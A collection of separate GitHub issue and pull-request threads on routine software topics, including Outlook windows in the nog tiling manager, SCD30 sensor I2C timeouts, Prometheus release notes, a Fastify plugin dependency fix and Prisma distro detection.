Testing Completed:

Yes/No/Need Help

Note: If updating a detection, you must update the version field.

After the submission has been made, please look at the Validation Checks.

Checked that the validations are passing and have addressed any issues that are present:

Yes/No/Need Help

Note: Let us know if you have tried fixing the validation error and need help.

References:

Guidance for Detection checks
General contribution guidance
PR validation troubleshooting

This branch has conflicts that must be resolved, thanks.

Alex are you able to check this? I'm not sure what the conflict is.
From: NikTripathi @.>
Sent: Saturday, February 26, 2022 11:56 AM
To: Azure/Azure-Sentinel @.>
Cc: Matthew Lowe @.>; Mention @.>
Subject: Re: [Azure/Azure-Sentinel] Updating product name to reflect naming change (PR #4090)
@malowe101https://nam06.safelinks.protection.outlook.com/?url=https%3A%2F%2Fgithub.com%2Fmalowe101&data=04|01|Matthew.Lowe%40microsoft.com|6b724a11b41d45b3614108d9f948e9c2|72f988bf86f141af91ab2d7cd011db47|1|0|637814913830484341|Unknown|TWFpbGZsb3d8eyJWIjoiMC4wLjAwMDAiLCJQIjoiV2luMzIiLCJBTiI6Ik1haWwiLCJXVCI6Mn0%3D|3000&sdata=rrp5PbY5SvQlKuUdAgLwOglGorYWSYkSmDj3FZXH2rM%3D&reserved=0 Please resolve the conflicts.

Reply to this email directly, view it on GitHubhttps://nam06.safelinks.protection.outlook.com/?url=https%3A%2F%2Fgithub.com%2FAzure%2FAzure-Sentinel%2Fpull%2F4090%23issuecomment-1052310434&data=04|01|Matthew.Lowe%40microsoft.com|6b724a11b41d45b3614108d9f948e9c2|72f988bf86f141af91ab2d7cd011db47|1|0|637814913830484341|Unknown|TWFpbGZsb3d8eyJWIjoiMC4wLjAwMDAiLCJQIjoiV2luMzIiLCJBTiI6Ik1haWwiLCJXVCI6Mn0%3D|3000&sdata=KfGfiom%2FSGm%2BhiGMWHsEBBzVO4D0%2BQ%2BHOsPZRXDR7yY%3D&reserved=0, or unsubscribehttps://nam06.safelinks.protection.outlook.com/?url=https%3A%2F%2Fgithub.com%2Fnotifications%2Funsubscribe-auth%2FAN73CFCF45LZKP5346HR7NTU5EA3JANCNFSM5NS4BAOA&data=04|01|Matthew.Lowe%40microsoft.com|6b724a11b41d45b3614108d9f948e9c2|72f988bf86f141af91ab2d7cd011db47|1|0|637814913830484341|Unknown|TWFpbGZsb3d8eyJWIjoiMC4wLjAwMDAiLCJQIjoiV2luMzIiLCJBTiI6Ik1haWwiLCJXVCI6Mn0%3D|3000&sdata=lm3DDBJJ3HFwu1NIfN82feKjextqOmkuyen5aJj7wrM%3D&reserved=0.
Triage notifications on the go with GitHub Mobile for iOShttps://nam06.safelinks.protection.outlook.com/?url=https%3A%2F%2Fapps.apple.com%2Fapp%2Fapple-store%2Fid1477376905%3Fct%3Dnotification-email%26mt%3D8%26pt%3D524675&data=04|01|Matthew.Lowe%40microsoft.com|6b724a11b41d45b3614108d9f948e9c2|72f988bf86f141af91ab2d7cd011db47|1|0|637814913830484341|Unknown|TWFpbGZsb3d8eyJWIjoiMC4wLjAwMDAiLCJQIjoiV2luMzIiLCJBTiI6Ik1haWwiLCJXVCI6Mn0%3D|3000&sdata=97NTBaoItTjz1xZ2FN7NzGFVuWJuz1vIvEimlb2OsL4%3D&reserved=0 or Androidhttps://nam06.safelinks.protection.outlook.com/?url=https%3A%2F%2Fplay.google.com%2Fstore%2Fapps%2Fdetails%3Fid%3Dcom.github.android%26referrer%3Dutm_campaign%253Dnotification-email%2526utm_medium%253Demail%2526utm_source%253Dgithub&data=04|01|Matthew.Lowe%40microsoft.com|6b724a11b41d45b3614108d9f948e9c2|72f988bf86f141af91ab2d7cd011db47|1|0|637814913830484341|Unknown|TWFpbGZsb3d8eyJWIjoiMC4wLjAwMDAiLCJQIjoiV2luMzIiLCJBTiI6Ik1haWwiLCJXVCI6Mn0%3D|3000&sdata=rMEeawfQnOYdLKD%2B15TBmCUn3vg9n4wRyfXOeUqNiYM%3D&reserved=0.
You are receiving this because you were mentioned.Message ID: @.***>


Add GetTagRelated.

It enables us to get related-tags by the tag.

Thank you , Can you write some test codes in test files ?

I will merge it , but please make test code and the new PR.

@ahmdrz sorry i missed above. I've just added https://github.com/ahmdrz/goinsta/pull/21
thanks.


Outlook appointment windows become strange zombies after being closed

Version (which release did you use?)
Custom build from here:
https://github.com/TimUntersberger/nog/issues/264#issuecomment-817189433
But I'm pretty sure I've seen this with the latest master release (7b44db6) too.
Describe the bug
To Reproduce
Steps to reproduce the behavior:

Open Outlook (I'm using Microsoft® Outlook® for Microsoft 365 MSO (16.0.13929.20176) 64-bit)
Ctrl+2 to open calendar view
Ctrl+N to create new appointment
Alt+F4 to close the appointment

Expected behavior
Appointment window closes and remaining windows resize to fill the now empty space
Actual behavior
The appointment window closes but the other windows DO not resize. The space stays empty.
From looking at the window title in the nog bar, I can see that I can still focus the supposedly closed window. See screenshot, where the empty space is on the right, but the nog bar shows its title: "Untitled - Appointment".

If I switch workspaces and then switch back to this workspace, the zombie appointment window re-appears:

I think I've seen similar behavior with other apps but I'm not quite sure.

I've encountered this kind of thing occasionally, I think I haven't as much recently as I use the min_width/min_height settings to make nog ignore these windows that I'm just pulling up briefly.
But yeah, outlook has an especially weird way of handling windows. Nog isn't like... holding onto the window in the sense that it's keeping it open, but rather, the window does still exist for some time for some reason after you've closed it. I don't know how the windows are handled in Outlook, perhaps it's some aspect of caching or maybe keeping the window handle in order to reuse it when you open something else? Not sure..
Another time this can potentially occur is if you close nog while having numerous applications managed and then restart your machine and then launch nog. When nog reloads your stored grids it uses effectively stale windowIDs that may collide with other applications and sometimes you get a "blank" focused window that is of some background service running on your computer.
Anyway...

The easiest way to kill off the windows is to close them via nog's close keybinding. If you do encounter one of these empty programs, you can still focus onto them and then hit the nog keybinding to close them and that should get rid of them.

Let me know if that helps

Might be fixed in the latest version.


CREATE VIEW ERROR: unrecognized parameter "action"

2019-01-03 23:42:44.810 CST [11570] ERROR:  unrecognized parameter "action"
2019-01-03 23:42:44.810 CST [11570] STATEMENT:  CREATE VIEW wiki_stats WITH (action=materialize) AS
SELECT hour, project,
count(*) AS total_pages,
sum(view_count) AS total_views,
min(view_count) AS min_views,
max(view_count) AS max_views,
avg(view_count) AS avg_views,
percentile_cont(0.99) WITHIN GROUP (ORDER BY view_count) AS p99_views,
sum(size) AS total_bytes_served
FROM wiki_stream
GROUP BY hour, project;
psql:/wiki_table.txt:18: ERROR:  unrecognized parameter "action"

@LYJ8899 you most likely don't have this set in postgresql.conf:
shared_preload_libraries = 'pipelinedb'

See the installation docs for more information.

@LYJ8899 I'm going to go ahead and close this since the shared_preload_libraries is the likely cause of this. Please feel free to reopen it if this does not resolve the issue.

@LYJ8899 I'm going to go ahead and close this since the shared_preload_libraries is the likely cause of this. Please feel free to reopen it if this does not resolve the issue.

thanks,it works for me.

@derekjn
thanks，it works for me.


Establish database schema for pacsanini models

Is your feature request related to a problem? Please describe.
The objective of this task is to implement a database structure in relation to what is described in #46 .
Describe the solution you'd like
The implementation of this should be done using sqlalchemy. Utilities should be put into place in order to create the database as well.
Describe alternatives you've considered
Additional context

The database schema will be created for the patients, studies, series, images, and studies_find tables using SQLAlchemy ORM classes. This should ensure that the code can be easily worked on in the future + be compatible with different drivers.
A sub-module should be created to convert a DICOM file into these ORM models.
A utils module inside the db module should be created to contain utility functions. In the beginning, this will only contain a method for initializing the database. In the future, this could contain functions that can ensure the migration of the db schema is alembic is ever used.
The crud methods will be updated to take consideration of the data being split up across multiple tables. This will probably not be implemented in the most optimal way but should be OK for now.
Implementation side note: because patient age will be stored in the studies table, a new converter will have to be written in order to convert DICOM AgeStrings to integers (the patient age in years).


OSError: I2C bus error with example

This error occurred on a Pycom Wipy
code I used:
import time
from scd30 import SCD30
from machine import I2C

#I2C setup
print("setup i2c")
i2c = I2C(0, I2C.MASTER, baudrate=50000)
print(i2c.scan())

#CO2 sensor setup
co2sensor = SCD30(i2c, 0x61)
co2sensor.set_measurement_interval(5)

while True:
    while co2sensor.get_status_ready() != 1:
        time.sleep_ms(200)
    print(co2sensor.read_measurement())
    time.sleep_ms(200)

Results in the following output:
[97]
(655.4566, 23.21889, 56.63605)
(653.791, 23.24559, 56.63147)
(653.7228, 23.27497, 56.55975)
(654.9095, 23.28832, 56.5094)
(655.1393, 23.31503, 56.50024)
(656.0949, 23.28832, 56.49567)
(656.3989, 23.28832, 56.56281)
(655.6221, 23.30168, 56.47736)
(654.5003, 23.28832, 56.37054)
(654.9923, 23.28832, 56.43463)
(654.4737, 23.24559, 56.51245)
(653.8462, 23.24559, 56.53229)
(653.3164, 23.27497, 56.52618)
(652.7819, 23.27497, 56.53687)
(651.5202, 23.27497, 56.58112)
(651.8386, 23.25895, 56.56738)
(651.4281, 23.24559, 56.55518)
(652.6042, 23.24559, 56.5033)
(661.3499, 23.25895, 57.32422)
(667.6893, 23.24559, 56.85577)
(674.1215, 23.24559, 56.63147)
(682.467, 23.21889, 56.53076)
(677.9596, 23.24559, 56.4682)
(676.1273, 23.25895, 56.53534)
(673.8711, 23.24559, 56.40411)
(673.1847, 23.27497, 56.37665)
(669.824, 23.25895, 56.27899)
(667.0184, 23.24559, 56.30798)
(664.3038, 23.24559, 56.39343)
(662.7124, 23.23224, 56.50024)
(660.7636, 23.25895, 56.4621)
(658.1758, 23.25895, 56.4621)
(656.9217, 23.25895, 56.4621)
(656.0261, 23.23224, 56.45752)
(655.1484, 23.25895, 56.4621)
(655.5229, 23.27497, 56.48499)
(655.0932, 23.25895, 56.3858)
(655.0857, 23.25895, 56.34308)
(654.7072, 23.24559, 56.44836)
(656.6269, 23.21889, 56.48651)
(659.3814, 23.21889, 56.71082)
**Traceback (most recent call last):
  File "<stdin>", line 19, in <module>
  File "/flash/lib/scd30.py", line 95, in get_status_ready
  File "/flash/lib/scd30.py", line 161, in __read_bytes**

I have the same problem.
The error is: OSError: [Errno 110] ETIMEDOUT
As described here: [https://forum.micropython.org/viewtopic.php?f=14&t=9547]
The board is an ESP32 Dev KITv1

I have encountered the same error and this issue and the aforementioned forum post are the only references to it.
After some poking around I found this note in the SCD30 interface specification pdf:

Maximal I2C speed is 100kHz and the master has to support clock stretching. Sensirion recommends to operate the SCD30 at a baud rate of 50 kHz or smaller. Clock stretching period in write-and read-frames is 30ms, however, due to internal calibration processes a maximal clock stretching of 150ms may occur once per day.

Running the I2C bus with freq=40000, timeout=151000 got rid if all timeout errors for me.
Note that the timeout parameter is only valid for the SoftI2C driver. (If your using a ESP8266, machine.I2C actually aliases machine.SoftI2C) Additionally, I believe having a timeout of 151ms may trigger your watchdog timer if your are using one.

Will definitely try this tomorrow.

I've been testing this for the last 10 days:
SoftI2C with freq=40000, timeout=50000
SCD30 init with pause=2000
With this config there are no problems for the moment

For me setting the baud rate back to 40.000 has no effect. I now just catch the error and then continue, which is not optimal, but works.

Ah that's a shame. Just to confirm, you are changing the timeout to 151000us? (151ms, default is 255us)
I believe that to be the important part, specifically to get it to work with the extended Clock Stretching period.

I'd love to will it not that Pycom firmware does not support a timeout in its I2C object.
https://docs.pycom.io/firmwareapi/pycom/machine/i2c/
I thought it had something to do with clock stretching... You can see the following issue I posted on this:
https://github.com/pycom/pycom-micropython-sigfox/issues/462


Unblock react native support when using corev2 packages

~This is a WIP. Currently these changes, along with a shims file, allows our packages that depend on core-client to run in react native.~
~ToDo: I've created expo and react-native cli projects that illustrate what shims are needed to get this working. Currently working on getting those samples into this PR.~
This PR has been updated to just include making the changes needed for the corev2 packages to run in react native, assuming that the requisite browser APIs are pollyfilled.

Build is failing due to formatting changes

I believe I've addressed all the feedback, let me know if there are any concerns! The potential negative impact here is extremely small since only the react native bundler will read these new mappings!


Feature Request: Allow spaces in tags

I tend to add tags like this in Obsidian and other yaml based tools
tags:
  - Plugins
  - "Spaced Repetition"
  - Obsidian

the Spaced Repetition tag will be separated as two tags for Anki when exporting with awesome-flashcards. It would be cool to allow tags that have spaces.

The global tags are from obsidian's API  (https://github.com/AwesomeDog/obsidian-awesome-flashcard/blob/dda78ec3ed1dc7e4d82770b4b5227e92813131e5/src/manager.ts#L157)
Obsidian seems not encourage whitespaces in tags (https://help.obsidian.md/Editing+and+formatting/Tags)  and offers a few workarounds, hope that may help.


2.0-wip - pay f*cking attention

I've now had two pull requests closed now for lack of PAYING F*CKING ATTENTION.
Most recently:
https://github.com/twitter/bootstrap/pull/1008
In the past:
https://github.com/twitter/bootstrap/pull/868
wtf? I'm trying to help you guys here.
@markdotto , get some new glasses.

Perhaps you should specify your pull requests against the 2.0-wip branch rather than an arbitrary commit (e.g., #989).

Shrug. Perhaps @markdotto  should actually bother looking at the f*cking diff. They were all small changes.

Well, by "PAYING F*CKING ATTENTION" you could have specified your pull requests against the branch and allowed for a one-click merge on the website. Close this "issue" already and let them get back to real work...

@lookfirst  maybe when you pull request is in wrong branch
http://d.pr/UI0
maybelike this one is correct branch
http://d.pr/cqiy
CMIIW :D

@lookfirst sorry about that - we're human, we all make mistakes. Your first request was in fact pulled a while ago, and I would pull your most recentf but it can't be reopened so I'll make the changes manually.

@lookfirst There is no reason to get upset about any of this. I'm sorry I mistakenly thought your pull requests were against master instead of 2.0-wip.
As @JakeWharton suggested, in the future I ask that you submit pull requests to branches and not a sha so I can more easily tell where they should be applied. That way I can auto-merge them right here on GitHub with full context. I scanned the top line and didn't see 2.0-wip, so I made the most of the changes manually and closed it out. I'll watch out for that in the future.
That said, insults, cursing, and bashing me won't help you at all. I'm happy that you're using and contributing to Bootstrap, but I won't actively help folks with that kind of attitude. We do this in our spare time to help the community and stuff like this actively works against that. If you want to help us, please continue to do so with a positive attitude.  I went quite a bit overboard. Now that I know the proper way to submit pull requests, I will do so going forward. I'm newish to git[hub] and didn't realize that my diff's appeared to be on the wrong branch.
That said, I've been contributing to open source for 15+ years now and I've never seen someone disregard a diff without even looking at it first. Not only once, but multiple times.
In the least, you could have looked at it and then said hey, this is great, but I need you to submit it in this other way. I know that this is volunteer work on your part, but it is also on mine. I'm trying to start out with just some basic changes (helping with docs) and I spent whatever amount of time working on that diff. To have it just quickly thrown out, with no recourse or reason really pissed me off. In my defense, I think that is what pushed me over the edge.
Again, I apologize. I'll keep a better attitude going forward. Thanks for your hard work. I'm really enjoying working with this code.


feature:  use market analysis instead of xdaythreshold

This is partially related to #244 but I think this is better functionality.
Right now we have market analysis determining when the rate is too low to loan out coins.  You can configure it with a percentile.  Instead of using a global static loan percentage, it'd be nice to say (for example) when the current loan rates are in the 95th percentile to loan for xdays.  This would allow you to lock in loans for longer terms when the rates are at an all-time high.

I like this idea.


3D Computation Clarity in unet_3d, resnet_3d, and transform_3d

I have a question: unet_3d, resnet_3d, and transform_3d only deal with dimensional transformations, yet there is no indication anywhere that 3D computation is necessary.

In stage2, motion module will be inserted into the 3d unet. This will perform temporal self-attention, which differs from 2d unet. So we keep them seperately.


Switch to hatch

Is this what you were thinking of @flying-sheep ? It seems to work quite well, and Hatch does seem to be a small but noticeable improvement over Poetry. The one thing I couldn't figure out is how throw an error if Python == 3.11 and nmslib is selected (Python 3.11 is not currently supported by nmslib). Any ideas? (No idea how to do this in Poetry either).

Okay looks like I have to update the CI. Will work on that tomorrow.


librecast: package lcsync

Towards #3.
This PR packages lcsync. We previously packaged its 2 dependencies lcrq and librecast.
According to this comment by @cleeyv, these 3 packages were the main targets. We will now reach out to Librecast maintainers for guidance on any other packages in their project that we should work on.
Co-authored-by: Jason Odoom<EMAIL_ADDRESS>Co-authored-by: Anish Lakhwara<EMAIL_ADDRESS>Co-authored-by: Dominic Mills<EMAIL_ADDRESS>Co-authored-by: Albert Chae<EMAIL_ADDRESS>Co-authored-by: Jack Leightcap<EMAIL_ADDRESS>Signed-off-by: Jack Leightcap<EMAIL_ADDRESS>

We referenced the Guix packaging here https://git.savannah.gnu.org/cgit/guix.git/tree/gnu/packages/networking.scm?h=v1.4.0#n283


Pushing blueprints of a new setup script

Adds 2 files:

setup2.py: This is the new setup script. right now its mostly functionally empty, but I tried to leave plenty of comments to explain everything and get everyone on the same page
setup.py.unrolled: Really just an artifact from much earlier in the process, this is just setup.py but with all the function calls taken out.

This push request is just so that other people can be aware of my work and help out with it.
I ask that this pull request not be merged until setup2.py is complete, but that instead, people push their work to my branch so that it will get added to this pull request and that when we finally merge this it will replace the old script with the new one.
Additionally, if anything is unclear, just leave a comment or include me on an issue and I'll try to clear it up.

In light of commits e09da6e and fcc3e90 I have decided that going through all the issues and IRC logs and writing a clear document explaining what everything is supposed to do should be a priority. (Also after writing 10 commits in the last 2 days, I'm tired of git lumping them in with commits from july)


[stable/jenkins] resolve json parsing errors when including jobs

Signed-off-by: Jeff Knurek<EMAIL_ADDRESS>Which issue this PR fixes

fixes #7865

Checklist

[x] DCO signed
[x] Chart Version bumped

@lachie83  / @viglesiasce
this is a pretty small PR, maybe you could take a quick look to help solve an annoying bug

/lgtm


cut v2.35.0

I don't know if we should mention https://github.com/prometheus/prometheus/pull/10608 in the Changelog. @csmarchbanks what do you think ?
Signed-off-by: Augustin Husson<EMAIL_ADDRESS>

#10608  must be in the changelog, it is a bug introduced in 2.33.5.

Can we remove * [ENHANCEMENT] Prometheus is built with Go 1.18. #10501
and instead add a note on top:
This Prometheus release is built with go1.18, which contains two noticeable changes related to TLS:

TLS 1.0 and 1.1 disabled by default client-side. Prometheus users can override this with the min_version parameter of tls_config.
Go 1.18 now rejects certificates signed with the SHA-1 hash function. This doesn't apply to self-signed root certificates.

I think we can still keep * [ENHANCEMENT] Prometheus is built with Go 1.18. #10501 and add the note you written.

thanks @roidelapluie


feat: Add support for sending multiple files.

What type of pull request is this?

[x] Non-breaking code change
[ ] Breaking code change
[ ] Documentation change/addition

Description

To not have yet another breaking change, I keep the file parameter as an alias to files.
Changes

Update message processing to support multiple files.
Add a files parameter to all send related methods.
Add open_file method to File class.

Checklist

[x] I've formatted my code with Black
[x] I've ensured my code works on Python 3.10.x
[x] I've tested my code

Github wont let me suggest this
This line in send_mixin:67 needs updating:
if not content and not (embeds or embed) and not file and not stickers:
->
if not content and not (embeds or embed) and not (file or files) and not stickers:


Don't add .DS_Store to source

There are some .DS_Store files checked in:
.DS_Store
release-notes/.DS_Store

Perhaps they should be removed?

/cc @leecow

Yep, accidentally included and will watch more closely for that.


Try Codecov coverage

Welcome to Codecov :tada:
Once you merge this PR into your default branch, you're all set! Codecov will compare coverage reports and display results in all future pull requests.
Thanks for integrating Codecov - We've got you covered :open_umbrella:

Hooray! It does work finally!


fix: only add a slot element if it's missing

fixes #459
so the main broken part is that another <slot> element is added when one already exists in the layout. this fixes that, but the formatting is still sorta ugly if prettier isn't installed.
to (somewhat) make it less horrific without prettier formatting, I've also updated serializeSvelteFile so that the script tag is added at the top, rather than at the bottom with

it'll now produces this:

		<slot></slot>

			visit kit.svelte.dev to learn SvelteKit

it's not great, but it's better than what it was before

I wonder if we could use https://github.com/Rich-Harris/esrap to make the script formatting less bad? although, I'm not sure if it's compatible with our recast generated AST

Finding working TS tooling is hard. That's why we are still mainly using the same tools as v1, with some exceptions. As mentioned in another issue, we might need to check if this method is potentially causing more problems than it solves!
https://github.com/svelte-add/svelte-add/blob/2f9a963fa826864c8207582b2f8fc3b83a893c44/packages/ast-tooling/index.ts#L81

app.css and styles.css are both pretty generically named and seem indistinguishable from one another by name. Perhaps we should call it tailwind.css instead of app.css?

app.css and styles.css are both pretty generically named and seem indistinguishable from one another by name. Perhaps we should call it tailwind.css instead of app.css?

The purpose of app.css is to be the main global stylesheet, rather than one just for tailwind imports. however, it just so happens that the demo app from create-svelte also includes a global stylesheet. I do prefer the name app.css though, rather than styles.css. It nicely coincides with app.html. also styles.css feels a bit redundant in name

If the formatting is difficult, maybe we just need a method like insertImport, which adds the import after the other import lines without having to parse and serialize the whole ast?

If the formatting is difficult, maybe we just need a method like insertImport, which adds the import after the other import lines without having to parse and serialize the whole ast?

hmm, I guess we could change the content type for this to text and use magic-string to perform the string manipulations without having to fumble around with parsing and serializing.
we could even provide a helper method that'll split the svelte file into sections of their respective types (markup, style, script), just like how svelte's preprocess field works in the compiler

Is there anything that prevents us from merging this? I think this would already be an improvement


Add graceful shutdown related information to docs.

Description:

Recently, graceful shutdown was introduced Micro Integrator. It is enabled by default. But for development purposes, there is an option to disable it with a System property. It is better if we can capture this information in the documentation somewhere.
Related PR: https://github.com/wso2/wso2-synapse/pull/1478
Basically the following information should be added.

With graceful shutdown enabled, the server might take sometime to shutdown if there are any active requests that are not served. The server will shutdown with a worse case time of a value that is equal to the Socket Timeout that is defined in the passthru-http.properties.
If anyone wish to disable this feature due to development purposes, they may start the server with a System property : -DgracefulShutdown=false. The server will always have graceful shutdown enabled by default.

Moved the issue to docs-ei.

PRS:

https://github.com/wso2/docs-ei/pull/2423
https://github.com/wso2/docs-ei/pull/2424


fix: usage of fastify-html at @scalar/fastify-api-reference can conflict with other fastify packages.

closes #1328.

lets go @arthurfiorette ! great to see you here :)
will review in a bit im just deep in some test writing :)

Hey! It's me again haha
No problem, take your time :).
I couldn't run the tests on my machine, so I'll wait for the workflow approval to fix any pending issues...

Hey! It's me again haha
No problem, take your time :).
I couldn't run the tests on my machine, so I'll wait for the workflow approval to fix any pending issues...

i'll run those now! what errors did you hit running locally?
:)

i'll run those now! what errors did you hit running locally?

Oh it was my fault, I needed to run pnpm build at the project root. It now pass just fine!

Whoops, By updating fastify-api-reference fastify version, I also needed to update other fastify dependencies. It should now be fixed (tested locally 🫡)

wait... Somehow my LSP plugin updated a lot of other dependencies too hahaha should I rollback it?

wait... Somehow my LSP plugin updated a lot of other dependencies too hahaha should I rollback it? (Everything seems to be working just fine)

ah yeah probably rollback just incase :)

Hmm, it actually wasn't me. Something is being ran at pre-commit... anyways, i manually skipped the pre-commit hook and reverted it.
Ready for review :)

I also saw that fastify-plugin isn't used as well... Should it be removed from package.json too?

Even if this plugin gets encapsulated or not, fastify-plugin should be used to define all metadata required by fastify, such as fastify.display-name which later allows to check if this plugin was registered or not with fastify.hasPlugin('@scalar/fastify-api-reference')...

I didn't use encapsulate here:
https://github.com/scalar/scalar/blob/8a25c1182fefb85fa8caa9255c509cb2db339015/packages/fastify-api-reference/src/fastifyApiReference.ts#L241-L243
Because the fastify-plugin is not used anymore, since it has no reason to...

But if you guys want to keep fastify-html, as stated here and theoretically has no need to change. I could add it back and also add encapsulate: true to ensure it keeps encapsulated and dont mess up with fastify's "globals".
encapsulate: true has the same effect of not using fastify-plugin at all, but using it keeps other advantages of fastify-plugin such as plugin name, as previously stated.

Sorry for asking @marclave, but you review this pr 😅😁?

Sorry for asking @marclave, but you review this pr 😅😁?

ah! sorry this slipped through, I will do a proper review tomorrow : ) just trying to get some other things in today ✨
really sorry about that
@mcollina thoughts on these comments above ✨

Note that this does not technically fix https://github.com/scalar/scalar/issues/1328, because that's not an actual problem.

Hmm... Interesting, seems that I was in fact wrong... Its a known limitation of fastify vite.

https://github.com/scalar/scalar/issues/1328#issuecomment-2025604485

@marclave ready (again) for review/merge!

appreciate everyones work and reviews on this!
@amritk and I are gunna review this now : )

@arthurfiorette looks like we need to fix up the lock file, you can delete it and do a fresh pnpm install at root of the scalar repo ✨

hey @arthurfiorette we are getting some build + type errors  in CI
Error: src/fastifyApiReference.ts(165,7): error TS2742: The inferred type of 'fastifyApiReference' cannot be named without a reference to<EMAIL_ADDRESS>This is likely not portable. A type annotation is necessary.

@arthurfiorette I just had to add this : )
diff --git a/packages/fastify-api-reference/src/fastifyApiReference.ts b/packages/fastify-api-reference/src/fastifyApiReference.ts
index 78ec732e..6a3baa72 100644
--- a/packages/fastify-api-reference/src/fastifyApiReference.ts
+++ b/packages/fastify-api-reference/src/fastifyApiReference.ts
@@ -1,4 +1,10 @@
 import type { ReferenceConfiguration } from '@scalar/api-reference'
+import {
+  type FastifyBaseLogger,
+  type FastifyPluginCallback,
+  type FastifyTypeProviderDefault,
+  type RawServerDefault,
+} from 'fastify'
 import fp from 'fastify-plugin'

 import { getJavaScriptFile } from './utils'
@@ -162,7 +168,12 @@ export function htmlDocument(options: FastifyApiReferenceOptions) {
 `
 }

-const fastifyApiReference = fp<FastifyApiReferenceOptions>(
+const fastifyApiReference: FastifyPluginCallback<
+  FastifyApiReferenceOptions,
+  RawServerDefault,
+  FastifyTypeProviderDefault,
+  FastifyBaseLogger
+> = fp<FastifyApiReferenceOptions>(
   async (fastify, options) => {
     let { configuration } = options
     const hasSwaggerPlugin = fastify.hasPlugin('@fastify/swagger')
     ```

@marclave anything else?

@arthurfiorette okay tests are passing! last thing could you rebase, supposedly there are conflicts : )

oh wait nvm it was just github glitching out! let's get this in ✨


Burnins: Remove deprecated ffmpeg argument

Changelog Description
Removed deprecated -intra command from ffmpeg burnins commands.
Testing notes:

Burnins are created and playable.

We should also remove these from the setting defaults in tray publisher: https://github.com/ynput/ayon-traypublisher/blob/05f4deac86c1674ff17868fcc1b4f148dc5b91f7/server/settings/publish_plugins.py#L111

Uuuu, yes indeed, can you create PR?

Uuuu, yes indeed, can you create PR?

Done here: https://github.com/ynput/ayon-traypublisher/pull/2


Add PRISMA_ENGINE_DISTRO to override linux distro detection.

Problem
There are some cases the distro detection code, discussed in https://github.com/prisma/prisma/issues/17545. Most of the issue is printing the warning message "Prisma failed to detect the Linux distro in use".
Suggested solution
Check for an environment variable like PRISMA_ENGINE_DISTRO to override what distro is detected otherwise, which can be used to affirm this specific warning and the user being aware they are not on an officially supported distro, which can be used to silence the warning, or alter how the engine is selected.
Maybe the exact variable(s) can pick exactly how the engine is loaded, not 100% aware how prisma internally works.
Alternatives
PRISMA_DISABLE_WARNINGS=1 to clear the warnings which was the motivation of the previous issue.
Additional context
https://github.com/prisma/prisma/issues/17545#issuecomment-1522268376 suggested that I open this

yeah, that sounds a billion times of a nicer idea.

+1 need this specially on pipelines and multi-stage build distroless containerized images
@janpio please consider this suggestion to override distro detection

What problem do you have with the current mechanism, with which distro? Please open a new issue, as we treat this as a bug and want to fix it. If we just provide the override, we will never hear about the problems and everyone will just have janky overrides and start to get tired of them over time.

What problem do you have with the current mechanism, with which distro? Please open a new issue, as we treat this as a bug and want to fix it. If we just provide the override, we will never hear about the problems and everyone will just have janky overrides and start to get tired of them over time.

I am currently exploring multi-stage build containers. The build container is a distro supported by Prisma and of course, downloads the correct binaries for it. However, the final container image is a distroless container image, therefore, when copying over the downloaded Prisma files that was downloaded in the previous step, wrong binaries are copied and won't work.
Is there any way that I could instruct Prisma to do it like "Hey, I want you to download the binary for this system" without actually hard coding it to the schema.prisma file. Because hardcoding it like "native" and "debian-openssl-3.0.x" would download 2 engines where I only need 1 of them.

Do you have to execute Prisma on both system, or only on the final one?
If you have to run it on both systems, you either have to download the files on each of them individuall (and build on each of them), or download both - and then potentially remove some of the files when going from system 1 to system 2.
If you do not have to run on both, then just set the binaryTargets to the value of the final system and leave off "native".

Do you have to execute Prisma on both system, or only on the final one? If you have to run it on both systems, you either have to download the files on each of them individuall (and build on each of them), or download both - and then potentially remove some of the files when going from system 1 to system 2. If you do not have to run on both, then just set the binaryTargets to the value of the final system and leave off "native".

I think I found a solution, on the builder, set the PRISMA_CLI_BINARY_TARGETS on the build phase, and on the runtime phase, set the PRISMA_QUERY_ENGINE_LIBRARY variable. Will report back if this works.

Note that we changed the message, to make it informational only in https://github.com/prisma/prisma/pull/23243
The updated message will be part of the next release 5.11.0, next week.


Avoid tabnapping exploits for target="_blank"

See CWE-1022
@agrare Please review.


about the kitti estimated results

Hi,Zhenghao! Thanks for sharing your code.
I modified your code in order to save the estimated trajectory.  And I tested the 00-10 sequences of kitti dataset with the modified code. My operations on each sequence are same. But what bothers me is that the results of sequence 04 and 06 are no right. The error is very large. But I think the code can't get such bad results. So I am troubled by the current situation. Have you tested on the other sequence of kitti dataset?  I could't find the reason of this situation.
My estimated results of kitti are as follows:

HI weiningwei,
I just saw your issue, sorry for the late reply.  It seems that the code is working well but 04 and 06 are super challenging. Especially 06 is almost textureless. You can debug with the video to see if features are tracked well, otherwise tune it a little bit. For 04, there might be one single frame leading to a big error in the beginning.

I checked with the newest code commit, 04 and 06 seems working well. Can you make sure the calibration .yaml is good?


Implement JSON Data Persistence for Books and Labels

Overview
This pull request adds JSON data persistence features to the "Catalog of My Things" project. The new functionality ensures that books and labels are stored and loaded from JSON files, allowing for data to be saved between application runs.
Changes Made

Introduced JSON data persistence for the Book class through methods like save_books_to_json and load_books_from_json.
Fixed date format issue in item.rb that caused an "invalid date" error.
Added conditional checks to ensure files exist before reading, and directory paths are correct.
Updated BookManager's initialize method to load books from JSON on startup.
Included a call to save_books_to_json in create_and_add_book to persist new book entries.

Updated Files

book.rb to include a to_h method for hash representation of a book.
book_manager.rb for adding JSON save and load methods.
item.rb to fix the date parsing error.
ConsoleApp to integrate the new features into the UI.

Conclusion
This pull request successfully integrates JSON data persistence for books, thereby enhancing the robustness and user experience of the "Catalog of My Things" project. The PR also addresses minor bugs and improves code readability.

Your project is complete!  There is nothing else to say other than... it's time to merge it :shipit:
Congratulations! 🎉

Highlights
✅ Descriptive PR summary
✅ Clean code
Optional suggestions
Every comment with the [OPTIONAL] prefix won't stop the approval of this PR. However, I strongly recommend you take them into account as they can make your code better. Some of them were simply missed by the previous reviewer and addressing them will really improve your application.
Cheers, and Happy coding!👏👏👏
Feel free to leave any questions or comments in the PR thread if something is not 100% clear.
Please, remember to tag me in your question so I can receive the notification.

Status: Approved ✔
Hi @Armynerh  ! Great Job partner! 👋🏽,
There is nothing else to say other than... it's time to merge it :shipit:
Congratulations! 🎉

Highlights

No linter errors✔
Created class MusicAlbum✔
Create class Genre✔
Preserved data for Music Albums✔


Allow uninstall of apps with underscore

Currently it is not possible to uninstall apps that have a _ in their name. E.g. uninstall scoop_ruby uninstalls scoop.
Based on https://github.com/lukesampson/scoop/issues/3128#issuecomment-463662715
closes #3128

Duplicate of #2930
